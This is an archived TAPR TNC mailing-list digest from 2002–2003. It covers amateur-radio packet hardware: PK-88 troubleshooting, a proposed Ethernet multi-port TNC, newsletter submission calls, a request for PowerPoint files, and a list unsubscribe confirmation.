to allow it to accept generic tnc2 clone firmware. I directed him to that file.

At 05:13 PM 09/23/2002 -0700, you wrote:
>Can someone answer Rick's question? Please cc: to him if you know.
>
>is the kiss image file in the tapr library compatible
>with a mfj 1270c tnc? thanks for any info.

Byron Smith
wa6ylb@theworks.com

http://www.theworks.com/~wa6ylb

What was the best thing before sliced bread?

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

October 2002

Original source file: tapr-tnc.0210
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0210

1. [tapr-tnc] Write

From: Stan Horzepa <stanzepa@earthlink.net>
Date: Wed, 02 Oct 2002 18:41:05 -0400
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-101415-2002.10.02-18.34.29--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

TAPR members:

Here is your chance to become rich and famous! Well, maybe not rich, but certainly famous.

The editorial board of Packet Status Register (PSR, TAPR□s quarterly newsletter) is now soliciting articles, news items, etc. for the next issue of the newsletter. Topics related to digital Amateur Radio will be given preference and the editorial board reserves the right to determine what is suitable for publication.

E-mail your contributions to wa1lou@tapr.org ASAP because the deadline for the next issue of the newsletter is October 24.

73,

Stan Horzepa, WA1LOU, PSR Editor

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

2. [tapr-tnc] PK-88 problem

From: "Dexter N Muir" <dexy@ihug.co.nz>
Date: Wed, 23 Oct 2002 10:55:22 +1300
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-104083-2002.10.22-17.38.10--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Greetings...

   Hope this isn't too much of a newbie q...

   I'm connecting up an AEA PK-88 for ZL2JC. I've got the TNC-to-Radio cable sorted, and I THINK I have the TNC-to-Computer cable correct, now to get Winpack to talk to it...

   When it first arrived, it powered up with the CMD LED lit. Talking to it with either Winpack or Hyperterminal (Win98se) got garbage on power-up and no response until I typed in a * (I remembered the auto-baud routine). This got me an "echo" response, but no cmd: prompt. Setting 1200 baud got me the "Send a *" message, still no cmd:

   Thinking it might be stuck in KISS or something, I removed the battery jumper, let it discharge, then powered up again. Now it powers up with the MULT LED lit, and still only gives the "echo" response. JP3 has been changed to the rearward setting according to the info supplied with Winpack (V6.8).

   Tried a commercial modem cable at this point, it made no difference, so I'm pretty sure my TNC-to-Computer cable is correct.

   The firmware is PK-88   E 1744 (C)AEA. would this give a clue as to whether it's a KISS eprom or whatever?

Hopefully,
Dexter N Muir, ZL2DEX

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

3. [tapr-tnc] Re: PK-88 problem

From: "Jerome M. Kutche" <n9lya@tima.com>
Date: Tue, 22 Oct 2002 17:00:43 -0500
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-104084-2002.10.22-17.43.46--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

You may have an IRQ conflict.... I recently hooked up a TNC and thought it
was working but found that it had strange behaviour.... I then found I had
conflicting address and IRQ... So I had to correct that before the system
would work corectly... They can be a real pain to solve... If you have a
modem that you know works hook it up to same port and see how it responds..
anythiung less than correctly then you probably have a conflict... If it
works fine check to see which Adress and IRQ its using and set the TNC or
software to same...

73 jerry n9lya
Jerome M. Kutche
fax: 775-640-9037
----- Original Message -----
From: "Dexter N Muir" <dexy@ihug.co.nz>
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Sent: Tuesday, October 22, 2002 4:55 PM
Subject: [tapr-tnc] PK-88 problem

> Greetings...
>
>   Hope this isn't too much of a newbie q...
>
>   I'm connecting up an AEA PK-88 for ZL2JC. I've got the TNC-to-Radio
> cable sorted, and I THINK I have the TNC-to-Computer cable correct, now to
> get Winpack to talk to it...
>
>   When it first arrived, it powered up with the CMD LED lit. Talking to
it
> with either Winpack or Hyperterminal (Win98se) got garbage on power-up and
> no response until I typed in a * (I remembered the auto-baud routine).
This
> got me an "echo" response, but no cmd: prompt. Setting 1200 baud got me
the
> "Send a *" message, still no cmd:
>
>   Thinking it might be stuck in KISS or something, I removed the battery
> jumper, let it discharge, then powered up again. Now it powers up with
the
> MULT LED lit, and still only gives the "echo" response. JP3 has been
> changed to the rearward setting according to the info supplied with
Winpack
> (V6.8).
>
>   Tried a commercial modem cable at this point, it made no difference, so
> I'm pretty sure my TNC-to-Computer cable is correct.
>
>   The firmware is PK-88   E 1744 (C)AEA. would this give a clue as to
> whether it's a KISS eprom or whatever?
>
> Hopefully,
> Dexter N Muir, ZL2DEX
>
>
>
> ---
> You are currently subscribed to tapr-tnc as: N9LYA@TIMA.COM
> To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org
>
>

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

4. [tapr-tnc] Re: PK-88 problem

From: Byron Smith <wa6ylb@theworks.com>
Date: Tue, 22 Oct 2002 18:57:18 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-104110-2002.10.22-21.45.41--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Remember the PK88 command set isnt AEA, but generic Tapr TNC2 command set.
The PK88 is more or less a tnc2 clone with the exception of the serial
chip, which keeps this tnc from accepting other TNC2 firmwares, such as
"thenet" etc.

At 10:55 AM 10/23/2002 +1300, you wrote:
>Greetings...
>
>   Hope this isn't too much of a newbie q...
>
>   I'm connecting up an AEA PK-88 for ZL2JC.

Byron Smith
wa6ylb@theworks.com

http://www.theworks.com/~wa6ylb

What was the best thing before sliced bread?

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

December 2002

Original source file: tapr-tnc.0212
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0212

1. [tapr-tnc] PROPOSAL : Ethernet 4-port TNC

```
From: "Darryl Smith" <Darryl@radio-active.net.au>
Date: Sat, 21 Dec 2002 18:51:24 +1100
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-111906-2002.12.21-02.44.18--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain
```

People.

There is some interest in an ETHERNET TNC based on the RABBIT SEMICONDUCTOR CPU's. If you want to participate, please contact me directly. I will then work out how we do this.

Darryl VK2TDS
TAPR BOARD

Ethernet Enabled multi-port TNC based on a Rabbit processor.

Scope of Project

1. Develop an interface board for the RabbitCore TCP/IP processor modules with embedded Ethernet with the following interfaces
   a. Up to FOUR 1200 bps modem ports with MX-614's, PTT hardware, TNC-2 5-pin DIN sockets, Input and Output level adjustment
   b. Two (Four) RS-232 level two wire serial ports (depending on RabbitCore chosen).
   c. One TTL level serial port with optional RS-485
   d. LED's on Front panel for activity indication
   e. Programming Port so that no special cables are needed
2. Develop Software for this device
   a. Bit Bash-ed AX-25 I/O
   b. TCP/IP server with different IP port for each physical port
   c. AX-25 reception
   d. AX-25 over TCP/IP & Ethernet

Hardware

The Rabbit Semiconductor (http://www.rabbitsemiconductor.com/index.html) RabbitCore processor modules are to be used for this project. The reason is that this means that no surface mount work is needed to get the CPU working. It also means that the CPU CORE can be purchased on demand rather than during kit production.

I am proposing that the board accept either the older or newer RabbitCore modules by having two sets of headers.

10/100 RabbitCore 3000 $89
10 RabbitCore 3000 $79
10 RabbitCore 2000 $59

The capabilities of the 3000 series modules includes

- 10/100Base-T Ethernet
- Rabbit 3000T microprocessor at 44.2 MHz
- 3.3 V operation
- Low-EMI
- 512K Flash
- 512K SRAM (program), 256K SRAM (data)
- 52 digital I/O
- 6 serial ports (IrDA, SDLC/HDLC, Async, SPI)

Available Software

Some of the needed software has already been written and just needs to be integrated. This code includes

1. Telnet SERVER code with the Dynamic C compiler
2. AX25 receive code - Darryl VK2TDS

The software needs to be integrated and expanded.

Software Stages

1. TCP/IP server
2. Serial Configuration Port
3. TCP/IP Configuration Port
4. AX.25 reception - Single Port
5. TCP/IP Server on multiple ports
6. AX.25 reception on multiple ports.
7. UPROTO transmission of packets on single port
8. UPROTO transmission on multiple ports

Somewhere about this stage the product would be released, and it would be hoped that the ham radio community could complete the final stages. They would be

9. Connected Mode reception
10. Connected Mode transmission
11. TNC command set through telnet.

Development Kits

Many amateurs already own a Rabbit 'C' Compiler and can program these devices themselves. For those that cannot, a full kit of 'C' compiler, Core Module, Prototyping Board, Plugpack can be purchased for $299/349 depending on the model.

Deliverables

1. Prototype PCB design
2. Schematic
3. Working CODE
4. User Manual
5. Construction Manual

Resources Required

At this stage the required resources are unknown. We would anticipate that there be 1-2 versions of the prototype PCB constructed before the product is released. Thanks to the nature of this product it is not anticipated that there would be any advantage in going for a formal BETA release of the product once the board is designed and working.

Options for Sale

A number of options exist for the eventual release of this kit. They include
. Parts and PCB only, without CPU Core
. Full KIT

Darryl Smith, VK2TDS POBox 169 Ingleburn NSW 2565 Australia
Mobile Number 0412 929 634 [+61 4 12 929 634 International]
Darryl@radio-active.net.au | www.radio-active.net.au

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

2. [tapr-tnc] Re: PROPOSAL : Ethernet 4-port TNC

From: "Ulf Kumm" <u.kumm@symek.de>
Date: Sat, 21 Dec 2002 10:55:26 +0100
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-111910-2002.12.21-04.42.11--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Hi,

there exists already a multiport TNC with Ethernet,
based on MC68EN302, called 'TNC4E'.

The XNET software includes all required functions
(router, stable routing algorithms, net-rom routing,
rmnc routing, ip routing, mailbox, remote upload and
download including the replacement of the contents
of the flash eprom and reboot and many other things.
It runs up to 2 Mbit/s total throughput. Modems for
1200 AFSK and G3RUH-FSK (9600 up to 614kbit/s) are
available from SYMEK (supplier of the compatible
TNC3 and TNC31).

In Europe, there exists many nodes in the packet net
which use TNC3 or TNC4 as node hardware. The software
was done by Jimi, DL1GJI and is proven stable for
years. Big nodes in Switzerland use 2 or 3 TNC4,
connected via 10baseT.

Check for TNC4E or for SYMEK for more info.

73! Ulf.
-----Ursprüngliche Nachricht-----
Von: "Darryl Smith" <Darryl@radio-active.net.au>
An: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Gesendet: Samstag, 21. Dezember 2002 08:51
Betreff: [tapr-tnc] PROPOSAL : Ethernet 4-port TNC

> People.
>
> There is some interest in an ETHERNET TNC based on the RABBIT
> SEMICONDUCTOR CPU's. If you want to participate, please contact me
> directly. I will then work out how we do this.
>
> Darryl VK2TDS
> TAPR BOARD
>
>
> Ethernet Enabled multi-port TNC based on a Rabbit processor.
>
>
> Scope of Project
> 1. Develop an interface board for the RabbitCore TCP/IP processor
> modules with embedded Ethernet with the following interfaces
> a. Up to FOUR 1200 bps modem ports with MX-614's, PTT
> hardware, TNC-2 5-pin DIN sockets, Input and Output level adjustment
> b. Two (Four) RS-232 level two wire serial ports (depending
> on RabbitCore chosen).
> c. One TTL level serial port with optional RS-485
> d. LED's on Front panel for activity indication
> e. Programming Port so that no special cables are needed
> 2. Develop Software for this device
> a. Bit Bash-ed AX-25 I/O
> b. TCP/IP server with different IP port for each physical
> port
> c. AX-25 reception
> d. AX-25 over TCP/IP & Ethernet
>
>
> Hardware
>
> The Rabbit Semiconductor (http://www.rabbitsemiconductor.com/index.html)
> RabbitCore processor modules are to be used for this project. The reason
> is that this means that no surface mount work is needed to get the CPU
> working. It also means that the CPU CORE can be purchased on demand
> rather than during kit production.
>
> I am proposing that the board accept either the older or newer
> RabbitCore modules by having two sets of headers.
>
> 10/100 RabbitCore 3000 $89
> 10 RabbitCore 3000 $79
> 10 RabbitCore 2000 $59
>
> The capabilities of the 3000 series modules includes
> . 10/100Base-T Ethernet
> . Rabbit 3000T microprocessor at 44.2 MHz
> . 3.3 V operation
> . Low-EMI
> . 512K Flash
> . 512K SRAM (program), 256K SRAM (data)

> . 52 digital I/O
> . 6 serial ports (IrDA, SDLC/HDLC, Async, SPI)
>
>
> Available Software
>
> Some of the needed software has already been written and just needs to
> be integrated. This code includes
>
> 1. Telnet SERVER code with the Dynamic C compiler
> 2. AX25 receive code - Darryl VK2TDS
>
> The software needs to be integrated and expanded.
>
>
> Software Stages
>
> 1. TCP/IP server
> 2. Serial Configuration Port
> 3. TCP/IP Configuration Port
> 4. AX.25 reception - Single Port
> 5. TCP/IP Server on multiple ports
> 6. AX.25 reception on multiple ports.
> 7. UPROTO transmission of packets on single port
> 8. UPROTO transmission on multiple ports
>
> Somewhere about this stage the product would be released, and it would
> be hoped that the ham radio community could complete the final stages.
> They would be
>
> 9. Connected Mode reception
> 10. Connected Mode transmission
> 11. TNC command set through telnet.
>
>
>
> Development Kits
>
> Many amateurs already own a Rabbit 'C' Compiler and can program these
> devices themselves. For those that cannot, a full kit of 'C' compiler,
> Core Module, Prototyping Board, Plugpack can be purchased for $299/349
> depending on the model.
>
>
> Deliverables
>
> 1. Prototype PCB design
> 2. Schematic
> 3. Working CODE
> 4. User Manual
> 5. Construction Manual
>
>
> Resources Required
>
> At this stage the required resources are unknown. We would anticipate
> that there be 1-2 versions of the prototype PCB constructed before the
> product is released. Thanks to the nature of this product it is not
> anticipated that there would be any advantage in going for a formal BETA
> release of the product once the board is designed and working.
>
> Options for Sale
>
> A number of options exist for the eventual release of this kit. They
> include
> . Parts and PCB only, without CPU Core
> . Full KIT
>
>
> ---------
> Darryl Smith, VK2TDS   POBox 169 Ingleburn NSW 2565 Australia
> Mobile Number 0412 929 634 [+61 4 12 929 634 International]
> Darryl@radio-active.net.au | www.radio-active.net.au
>
>
>
> ---
> You are currently subscribed to tapr-tnc as: ulf@symek.de
> To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

>

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

January 2003

Original source file: tapr-tnc.0301
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0301

1. [tapr-tnc] Get Published and Extend Your TAPR Membership!

```
From: Stan Horzepa <stanzepa@earthlink.net>
Date: Fri, 03 Jan 2003 08:52:25 -0500
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-113453-2003.01.03-08.47.41--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain
```

TAPR members:

The editorial board of Packet Status Register (PSR, the quarterly Newsletter of TAPR) is now soliciting articles, news items, etc. for the next issue of the newsletter. Topics related to digital Amateur Radio will be given preference and the editorial board reserves the right to determine what is suitable for publication.

As a bonus, if your contribution is published in PSR, your TAPR membership will be extended by 3 months.

E-mail your contributions to wa1lou@tapr.org ASAP because the deadline for the next issue of the newsletter is January 26.

73,

Stan Horzepa, WA1LOU, PSR Editor

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

---

2. Your confirmation is needed (ok 6755)

```
From: Lyris <unsubscribe-confirm@lists.tapr.org>
Date: Wed, 15 Jan 2003 15:04:26 -0500
To: lyris.tapr-tnc@tapr.org
Message-ID: <LYR6755-115357-2003.01.15-15.04.26--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain
```

Your email address 'lyris.tapr-tnc@tapr.org' has been submitted to be unsubscribed from the 'tapr-tnc' mailing list.

This unsubscribe command requires your confirmation that you want to be unsubscribed.

To confirm that you do want to unsubscribe, reply to this message so that the words "ok 6755" appear somewhere on the subject line.

Make sure that your reply message is addressed to unsubscribe-confirm@lists.tapr.org

You will receive notification that your confirmation has been received, and that you have been unsubscribed.

If you do not want to unsubscribe, do nothing. You will be kept on the mailing list.

```
Return-Path: <carlosc@ctenue.cmw.inf.cu>
Received: from mail2.ceniai.inf.cu ([169.158.128.151]) by lists.tapr.org with SMTP (Lyris Server version
 3.0); Wed, 15 Jan 2003 15:04:21 -0500
Received: from caonao.cmw.inf.cu ([169.158.143.227])
        by mail2.ceniai.inf.cu (8.11.0/8.11.0) with ESMTP id h0FKHXt57662
        for <leave-tapr-tnc-6755K@lists.tapr.org>; Wed, 15 Jan 2003 15:17:35 -0500 (CST)
Received: (from uucp@localhost)
        by caonao.cmw.inf.cu (8.11.6/8.11.6) with UUCP id h0FIIBs07338
        for leave-tapr-tnc-6755K@lists.tapr.org; Wed, 15 Jan 2003 15:18:11 -0300
Received: from cuty ([10.80.20.50])
        by ctenue.cmw.inf.cu (8.9.3/8.9.3) with SMTP id MAA10320
        for <leave-tapr-tnc-6755K@lists.tapr.org>; Wed, 15 Jan 2003 12:28:59 -0500
Message-ID: <00ae01c2bcbc$40f27420$3214500a@termo.nuevitas>
From: =?iso-8859-1?Q?Carlos_Cuti=F1o_de_la_F=E9?= <carlosc@ctenue.cmw.inf.cu>
To: tapr-tnc-request
Date: Wed, 15 Jan 2003 12:33:09 -0500
```

```
MIME-Version: 1.0
Content-Type: text/plain;
        charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
subject:

# Mail sent to leave-tapr-tnc-6755k was converted to these commands:
unsubscribe tapr-tnc lyris.tapr-tnc@tapr.org confirm
end

# This is the text of the message that triggered the action:

Return-Path: <carlosc@ctenue.cmw.inf.cu>
Received: from mail2.ceniai.inf.cu ([169.158.128.151]) by lists.tapr.org with SMTP (Lyris Server version
 3.0); Wed, 15 Jan 2003 15:04:21 -0500
Received: from caonao.cmw.inf.cu ([169.158.143.227])
        by mail2.ceniai.inf.cu (8.11.0/8.11.0) with ESMTP id h0FKHXt57662
        for <leave-tapr-tnc-6755K@lists.tapr.org>; Wed, 15 Jan 2003 15:17:35 -0500 (CST)
Received: (from uucp@localhost)
        by caonao.cmw.inf.cu (8.11.6/8.11.6) with UUCP id h0FIIBs07338
        for leave-tapr-tnc-6755K@lists.tapr.org; Wed, 15 Jan 2003 15:18:11 -0300
Received: from cuty ([10.80.20.50])
        by ctenue.cmw.inf.cu (8.9.3/8.9.3) with SMTP id MAA10320
        for <leave-tapr-tnc-6755K@lists.tapr.org>; Wed, 15 Jan 2003 12:28:59 -0500
Message-ID: <00ae01c2bcbc$40f27420$3214500a@termo.nuevitas>
From: =?iso-8859-1?Q?Carlos_Cuti=F1o_de_la_F=E9?= <carlosc@ctenue.cmw.inf.cu>
To: <leave-tapr-tnc-6755K@lists.tapr.org>
Subject:
Date: Wed, 15 Jan 2003 12:33:09 -0500
MIME-Version: 1.0
Content-Type: text/plain;
        charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
```

3. [tapr-tnc] PSR deadline coming soon!

```
From: Stan Horzepa <stanzepa@earthlink.net>
Date: Sun, 19 Jan 2003 19:54:53 -0500
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-116156-2003.01.19-19.59.45--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain
```

Just a reminder: If you are interested in submitting an article for TAPR's
newsletter, Packet Status Register, the deadline is the 26th, so send me
your input ASAP.

73,

Stan, WA1LOU, PSR Editor

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

March 2003

Original source file: tapr-tnc.0303
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0303

1. [tapr-tnc] Call for Powerpoint Files

From: "Darryl Smith" <Darryl@radio-active.net.au>
Date: Mon, 24 Mar 2003 08:39:56 +1100
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-125579-2003.03.23-16.34.51--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

People

I am looking for powerpoint files to create an improved indexing of
PowerPoint files on TAPR.ORG. I have found some presentations, but I
know that there are a LOT more out there. I would like to get as many
powerpoint files on TAPR.ORG as possible and indexed.

If you have any powerpoint files that you would like to contribute to
the TAPR.ORG archive, please send me an email at VK2TDS@TAPR.ORG and I
will let you know where you can send the file. The files that I need are
anything to do with amateur radio digital communications. This would
include
        DCC Presentations (I have most of 2002 seperately)
        APRS and GPS
        Digital Voice
        Emergency Digital Operations
        Spread Spectrum and 802.11
                etc

The only powerpoints I know of are listed below...

        Thanks.... Darryl VK2TDS

ftp.tapr.org
./aprssig/dosstuff/APRSdos/pcsat-sum.ppt
./aprssig/dosstuff/APRSdos/science-jpg.ppt
./aprssig/dosstuff/APRSdos/science-serb.ppt
./aprssig/dosstuff/DOSmisc/RWFPPT.zip
./aprssig/presentations/96olympic.zip
./aprssig/presentations/APRSNE.ZIP
./aprssig/presentations/APRSPRES.exe
./aprssig/presentations/FireTrak.ZIP
./aprssig/presentations/HamfestHandout.doc
./aprssig/presentations/N4NEQPPT.ZIP
./aprssig/presentations/VK2TDS_Presentation.zip
./aprssig/presentations/aprs_intro.zip
./aprssig/presentations/aprsbrochure.zip
./aprssig/presentations/aprsdemo.ppt
./aprssig/presentations/aprstprs98.pdf
./aprssig/presentations/aprstprs98.zip
./aprssig/presentations/dcc2k_intro.ppt
./aprssig/presentations/dcc99.ppt
./aprssig/presentations/ham_com_2001.ppt
./aprssig/presentations/kd4rdb-aprs-messages.ppt
./aprssig/presentations/kd4rdb.pdf
./aprssig/presentations/kd4rdb.ppt
./aprssig/presentations/train.zip
./pub/tprs/hamcom97.ppt
./pub/tprs/hamcom98/aprs.hamcom98.ppt
./pub/tprs/hamcom98/wb5aoh.hamcom98.ppt
./pub/tprs/hamcom98/wd0etz.hamcom98.ppt
./ss/intro_ss.ppt

Darryl Smith, VK2TDS   POBox 169 Ingleburn NSW 2565 Australia
Mobile Number 0412 929 634 [+61 4 12 929 634 International]
Darryl@radio-active.net.au | www.radio-active.net.au

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April 2003

Original source file: tapr-tnc.0304
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0304

1. [tapr-tnc] publish or perish

From: Stan Horzepa <stanzepa@earthlink.net>
Date: Tue, 01 Apr 2003 19:38:06 -0500
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-127142-2003.04.01-19.46.36--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Here is your chance to become rich and famous! Well, maybe not rich, but
certainly famous.

The editorial board of Packet Status Register (PSR, TAPR□s quarterly
newsletter) is now soliciting articles, news items, etc. for the next issue
of the newsletter. Topics related to digital Amateur Radio will be given
preference and the editorial board reserves the right to determine what is
suitable for publication.

E-mail your contributions to wa1lou@tapr.org ASAP because the deadline for
the next issue of the newsletter is April 24.

Don't forget, if you are a TAPR member, you will add three months to your
TAPR membership for every article that is published in PSR.

73,

Stan Horzepa, WA1LOU, PSR Editor

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

2. [tapr-tnc] Packet Status Register deadline nears

From: Stan Horzepa <stanzepa@earthlink.net>
Date: Mon, 21 Apr 2003 19:38:40 -0400
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-129460-2003.04.21-19.58.20--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

The deadline for the next issue of Packet Status Register (PSR), TAPR's
quarterly newsletter, is Thursday, April 24, so please get your submissions
to me as quick as a bunny!

73,

Stan, WA1LOU

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

May 2003

Original source file: tapr-tnc.0305
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0305

1. [tapr-tnc] Spring 2003 issue of Packet Status Register (PSR) now available

From: Stan Horzepa <stanzepa@earthlink.net>
Date: Mon, 05 May 2003 20:00:28 -0400
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-131528-2003.05.05-20.14.48--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

The Spring 2003 issue of Packet Status Register (PSR), TAPR's quarterly
newsletter is now available at the TAPR web site (www.tapr.org).

This issue of PSR has the following contents:

802.11b Used in Ham's Shuttle Recovery Efforts by Doug Kilgore, KD5OUG

A New Tactical Reporting Protocol by Scott Miller, N1VG

Announcing N2YGK's Linux aprsdigi Version 2.4.3 3 by Alan
Crosswell, N2YGK

APRS IP Mobile in a Non-Dynamic Wireless Environment or 802.11 APRS by
Darryl Smith, VK2TDS

Portable Tactical Digital Communications Using Off-the-Shelf Consumer
Components by Ed Carp, N7EKG

President's Corner: Dayton, Directors and the DCC by John Ackermann, N8UR

Real Networking: Is It the Key to Keeping & Reviving Packet? by Ron Sauer,
K9RKI

Revitalizing "Plain" Packet by Jim Wagner, KA7EHK

TAPR and ARRL 22nd Annual Digital Communications Conference

TAPR Membership by Darryl Smith, VK2TDS

TAPR Order Form

WA8WDQ Replaces K0PFX on TAPR Board

Welcome to Jeannie, The House That Listens by Don Marquardt, K9SOA

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

2. [tapr-tnc] Re: Spring 2003 issue of Packet Status Register (PSR) now available

From: Beni Muhamad <bmuhamad@medan.oilfield.slb.com>
Date: Tue, 06 May 2003 08:42:05 -0500
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-131554-2003.05.05-21.36.11--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Stan and everybody,

Do you have a nice UHF signal generator project article/documentation ?
let me know as quick as ferrari.

Thank so much,
Beni.

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

3. [tapr-tnc] Re: Spring 2003 issue of Packet Status Register (PSR) now available

From: Stan Horzepa <stanzepa@earthlink.net>
Date: Mon, 05 May 2003 21:48:55 -0400
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-131556-2003.05.05-21.40.32--lyris.tapr-tnc#tapr.org@lists.tapr.org>

Rendered body type: text/plain

Sorry, Beni, but I don't.

73,

Stan, WA1LOU

On 5/6/03 9:42, "Beni Muhamad" <bmuhamad@medan.oilfield.slb.com> wrote:

> Stan and everybody,
>
> Do you have a nice UHF signal generator project article/documentation ?
> let me know as quick as ferrari.
>
> Thank so much,
> Beni.
>
>
> ---
> You are currently subscribed to tapr-tnc as: stanzepa@earthlink.net
> To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org
>

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

4. [tapr-tnc] Re: Spring 2003 issue of Packet Status Register (PSR) now available

From: Beni Muhamad <bmuhamad@medan.oilfield.slb.com>
Date: Tue, 06 May 2003 11:30:08 -0500
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-131618-2003.05.06-00.21.12--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Stan,
I found it on the ARRL. but it's member only.
In case you are the member, I think you can go there to catch the file then
share it to me.

but just need to thanks for all.

rgds.
beni

At 09:48 PM 5/5/2003 -0400, you wrote:
>Sorry, Beni, but I don't.
>
>73,
>
>Stan, WA1LOU
>
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> >
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> > ---
> > You are currently subscribed to tapr-tnc as: stanzepa@earthlink.net
> > To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org
> >
>
>
>---
>You are currently subscribed to tapr-tnc as: bmuhamad@slb.com
>To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

---
You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

5. [tapr-tnc] Re: Spring 2003 issue of Packet Status Register (PSR) now available

From: zes@ix.netcom.com
Date: Thu, 15 May 2003 20:09:49 -0700 (PDT)
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-132980-2003.05.15-23.00.06--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

-------Original Message-------
From: Beni Muhamad <bmuhamad@medan.oilfield.slb.com>
Sent: 05/06/03 09:30 AM
To: TAPR TNC Special Interest Group <tapr-tnc@lists.tapr.org>
Subject: [tapr-tnc] Re: Spring 2003 issue of Packet Status Register (PSR) now available

>
